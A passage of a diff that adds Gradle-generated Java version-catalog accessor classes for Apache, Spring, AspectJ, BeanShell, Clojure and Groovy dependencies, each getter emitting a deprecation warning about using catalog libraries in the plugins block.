libraries at org.springframework + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgSpringframeworkLibraryAccessors getSpringframework() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgSpringframeworkLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheLibraryAccessors extends SubDependencyFactory { + private final OrgApacheClickLibraryAccessors laccForOrgApacheClickLibraryAccessors = new OrgApacheClickLibraryAccessors(owner); + private final OrgApacheCommonsLibraryAccessors laccForOrgApacheCommonsLibraryAccessors = new OrgApacheCommonsLibraryAccessors(owner); + private final OrgApacheLoggingLibraryAccessors laccForOrgApacheLoggingLibraryAccessors = new OrgApacheLoggingLibraryAccessors(owner); + private final OrgApacheMavenLibraryAccessors laccForOrgApacheMavenLibraryAccessors = new OrgApacheMavenLibraryAccessors(owner); + private final OrgApacheMyfacesLibraryAccessors laccForOrgApacheMyfacesLibraryAccessors = new OrgApacheMyfacesLibraryAccessors(owner); + private final OrgApacheTomcatLibraryAccessors laccForOrgApacheTomcatLibraryAccessors = new OrgApacheTomcatLibraryAccessors(owner); + private final OrgApacheWicketLibraryAccessors laccForOrgApacheWicketLibraryAccessors = new OrgApacheWicketLibraryAccessors(owner); + + public OrgApacheLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.click + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheClickLibraryAccessors getClick() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheClickLibraryAccessors; + } + + /** + * Group of libraries at org.apache.commons + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheCommonsLibraryAccessors getCommons() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheCommonsLibraryAccessors; + } + + /** + * Group of libraries at org.apache.logging + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheLoggingLibraryAccessors getLogging() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheLoggingLibraryAccessors; + } + + /** + * Group of libraries at org.apache.maven + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheMavenLibraryAccessors getMaven() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheMavenLibraryAccessors; + } + + /** + * Group of libraries at org.apache.myfaces + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheMyfacesLibraryAccessors getMyfaces() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheMyfacesLibraryAccessors; + } + + /** + * Group of libraries at org.apache.tomcat + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheTomcatLibraryAccessors getTomcat() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheTomcatLibraryAccessors; + } + + /** + * Group of libraries at org.apache.wicket + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheWicketLibraryAccessors getWicket() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheWicketLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheClickLibraryAccessors extends SubDependencyFactory { + private final OrgApacheClickClickLibraryAccessors laccForOrgApacheClickClickLibraryAccessors = new OrgApacheClickClickLibraryAccessors(owner); + + public OrgApacheClickLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.click.click + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheClickClickLibraryAccessors getClick() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheClickClickLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheClickClickLibraryAccessors extends SubDependencyFactory { + + public OrgApacheClickClickLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for nodeps with org.apache.click:click-nodeps coordinates and + * with version reference org.apache.click.click.nodeps + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getNodeps() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.apache.click.click.nodeps"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheCommonsLibraryAccessors extends SubDependencyFactory { + private final OrgApacheCommonsCommonsLibraryAccessors laccForOrgApacheCommonsCommonsLibraryAccessors = new OrgApacheCommonsCommonsLibraryAccessors(owner); + + public OrgApacheCommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.commons.commons + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheCommonsCommonsLibraryAccessors getCommons() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheCommonsCommonsLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheCommonsCommonsLibraryAccessors extends SubDependencyFactory { + + public OrgApacheCommonsCommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for collections4 with org.apache.commons:commons-collections4 coordinates and + * with version reference org.apache.commons.commons.collections4 + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCollections4() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.apache.commons.commons.collections4"); + } + + /** + * Dependency provider for lang3 with org.apache.commons:commons-lang3 coordinates and + * with version reference org.apache.commons.commons.lang3 + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getLang3() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.apache.commons.commons.lang3"); + } + + /** + * Dependency provider for text with org.apache.commons:commons-text coordinates and + * with version reference org.apache.commons.commons.text + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getText() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.apache.commons.commons.text"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheLoggingLibraryAccessors extends SubDependencyFactory { + private final OrgApacheLoggingLog4jLibraryAccessors laccForOrgApacheLoggingLog4jLibraryAccessors = new OrgApacheLoggingLog4jLibraryAccessors(owner); + + public OrgApacheLoggingLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.logging.log4j + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheLoggingLog4jLibraryAccessors getLog4j() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheLoggingLog4jLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheLoggingLog4jLibraryAccessors extends SubDependencyFactory { + private final OrgApacheLoggingLog4jLog4jLibraryAccessors laccForOrgApacheLoggingLog4jLog4jLibraryAccessors = new OrgApacheLoggingLog4jLog4jLibraryAccessors(owner); + + public OrgApacheLoggingLog4jLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.logging.log4j.log4j + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheLoggingLog4jLog4jLibraryAccessors getLog4j() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheLoggingLog4jLog4jLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheLoggingLog4jLog4jLibraryAccessors extends SubDependencyFactory { + + public OrgApacheLoggingLog4jLog4jLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with org.apache.logging.log4j:log4j-core coordinates and + * with version reference org.apache.logging.log4j.log4j.core + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCore() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.apache.logging.log4j.log4j.core"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheMavenLibraryAccessors extends SubDependencyFactory { + private final OrgApacheMavenPluginsLibraryAccessors laccForOrgApacheMavenPluginsLibraryAccessors = new OrgApacheMavenPluginsLibraryAccessors(owner); + + public OrgApacheMavenLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.maven.plugins + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheMavenPluginsLibraryAccessors getPlugins() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheMavenPluginsLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheMavenPluginsLibraryAccessors extends SubDependencyFactory { + private final OrgApacheMavenPluginsMavenLibraryAccessors laccForOrgApacheMavenPluginsMavenLibraryAccessors = new OrgApacheMavenPluginsMavenLibraryAccessors(owner); + + public OrgApacheMavenPluginsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.maven.plugins.maven + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheMavenPluginsMavenLibraryAccessors getMaven() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheMavenPluginsMavenLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheMavenPluginsMavenLibraryAccessors extends SubDependencyFactory { + private final OrgApacheMavenPluginsMavenAssemblyLibraryAccessors laccForOrgApacheMavenPluginsMavenAssemblyLibraryAccessors = new OrgApacheMavenPluginsMavenAssemblyLibraryAccessors(owner); + + public OrgApacheMavenPluginsMavenLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.maven.plugins.maven.assembly + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheMavenPluginsMavenAssemblyLibraryAccessors getAssembly() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheMavenPluginsMavenAssemblyLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheMavenPluginsMavenAssemblyLibraryAccessors extends SubDependencyFactory { + + public OrgApacheMavenPluginsMavenAssemblyLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for plugin with org.apache.maven.plugins:maven-assembly-plugin coordinates and + * with version reference org.apache.maven.plugins.maven.assembly.plugin + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getPlugin() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.apache.maven.plugins.maven.assembly.plugin"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheMyfacesLibraryAccessors extends SubDependencyFactory { + private final OrgApacheMyfacesCoreLibraryAccessors laccForOrgApacheMyfacesCoreLibraryAccessors = new OrgApacheMyfacesCoreLibraryAccessors(owner); + + public OrgApacheMyfacesLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.myfaces.core + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheMyfacesCoreLibraryAccessors getCore() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheMyfacesCoreLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheMyfacesCoreLibraryAccessors extends SubDependencyFactory { + private final OrgApacheMyfacesCoreMyfacesLibraryAccessors laccForOrgApacheMyfacesCoreMyfacesLibraryAccessors = new OrgApacheMyfacesCoreMyfacesLibraryAccessors(owner); + + public OrgApacheMyfacesCoreLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.myfaces.core.myfaces + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheMyfacesCoreMyfacesLibraryAccessors getMyfaces() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheMyfacesCoreMyfacesLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheMyfacesCoreMyfacesLibraryAccessors extends SubDependencyFactory { + + public OrgApacheMyfacesCoreMyfacesLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for impl with org.apache.myfaces.core:myfaces-impl coordinates and + * with version reference org.apache.myfaces.core.myfaces.impl + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getImpl() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.apache.myfaces.core.myfaces.impl"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheTomcatLibraryAccessors extends SubDependencyFactory { + private final OrgApacheTomcatEmbedLibraryAccessors laccForOrgApacheTomcatEmbedLibraryAccessors = new OrgApacheTomcatEmbedLibraryAccessors(owner); + private final OrgApacheTomcatTomcatLibraryAccessors laccForOrgApacheTomcatTomcatLibraryAccessors = new OrgApacheTomcatTomcatLibraryAccessors(owner); + + public OrgApacheTomcatLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.tomcat.embed + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheTomcatEmbedLibraryAccessors getEmbed() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheTomcatEmbedLibraryAccessors; + } + + /** + * Group of libraries at org.apache.tomcat.tomcat + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheTomcatTomcatLibraryAccessors getTomcat() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheTomcatTomcatLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheTomcatEmbedLibraryAccessors extends SubDependencyFactory { + private final OrgApacheTomcatEmbedTomcatLibraryAccessors laccForOrgApacheTomcatEmbedTomcatLibraryAccessors = new OrgApacheTomcatEmbedTomcatLibraryAccessors(owner); + + public OrgApacheTomcatEmbedLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.tomcat.embed.tomcat + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheTomcatEmbedTomcatLibraryAccessors getTomcat() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheTomcatEmbedTomcatLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheTomcatEmbedTomcatLibraryAccessors extends SubDependencyFactory { + private final OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors laccForOrgApacheTomcatEmbedTomcatEmbedLibraryAccessors = new OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors(owner); + + public OrgApacheTomcatEmbedTomcatLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.tomcat.embed.tomcat.embed + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors getEmbed() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheTomcatEmbedTomcatEmbedLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors extends SubDependencyFactory { + + public OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with org.apache.tomcat.embed:tomcat-embed-core coordinates and + * with version reference org.apache.tomcat.embed.tomcat.embed.core + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCore() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.apache.tomcat.embed.tomcat.embed.core"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheTomcatTomcatLibraryAccessors extends SubDependencyFactory { + + public OrgApacheTomcatTomcatLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for websocket with org.apache.tomcat:tomcat-websocket coordinates and + * with version reference org.apache.tomcat.tomcat.websocket + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getWebsocket() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.apache.tomcat.tomcat.websocket"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheWicketLibraryAccessors extends SubDependencyFactory { + private final OrgApacheWicketWicketLibraryAccessors laccForOrgApacheWicketWicketLibraryAccessors = new OrgApacheWicketWicketLibraryAccessors(owner); + + public OrgApacheWicketLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.wicket.wicket + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheWicketWicketLibraryAccessors getWicket() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheWicketWicketLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgApacheWicketWicketLibraryAccessors extends SubDependencyFactory { + + public OrgApacheWicketWicketLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for util with org.apache.wicket:wicket-util coordinates and + * with version reference org.apache.wicket.wicket.util + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getUtil() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.apache.wicket.wicket.util"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgAspectjLibraryAccessors extends SubDependencyFactory { + + public OrgAspectjLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for aspectjweaver with org.aspectj:aspectjweaver coordinates and + * with version reference org.aspectj.aspectjweaver + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getAspectjweaver() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.aspectj.aspectjweaver"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgBeanshellLibraryAccessors extends SubDependencyFactory { + + public OrgBeanshellLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for bsh with org.beanshell:bsh coordinates and + * with version reference org.beanshell.bsh + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getBsh() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.beanshell.bsh"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgClojureLibraryAccessors extends SubDependencyFactory { + + public OrgClojureLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for clojure with org.clojure:clojure coordinates and + * with version reference org.clojure.clojure + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getClojure() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.clojure.clojure"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgCodehausLibraryAccessors extends SubDependencyFactory { + private final OrgCodehausGroovyLibraryAccessors laccForOrgCodehausGroovyLibraryAccessors = new OrgCodehausGroovyLibraryAccessors(owner); + + public OrgCodehausLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.codehaus.groovy + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgCodehausGroovyLibraryAccessors getGroovy() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgCodehausGroovyLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgCodehausGroovyLibraryAccessors extends SubDependencyFactory { + + public OrgCodehausGroovyLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for groovy with org.codehaus.groovy:groovy coordinates and + * with version reference 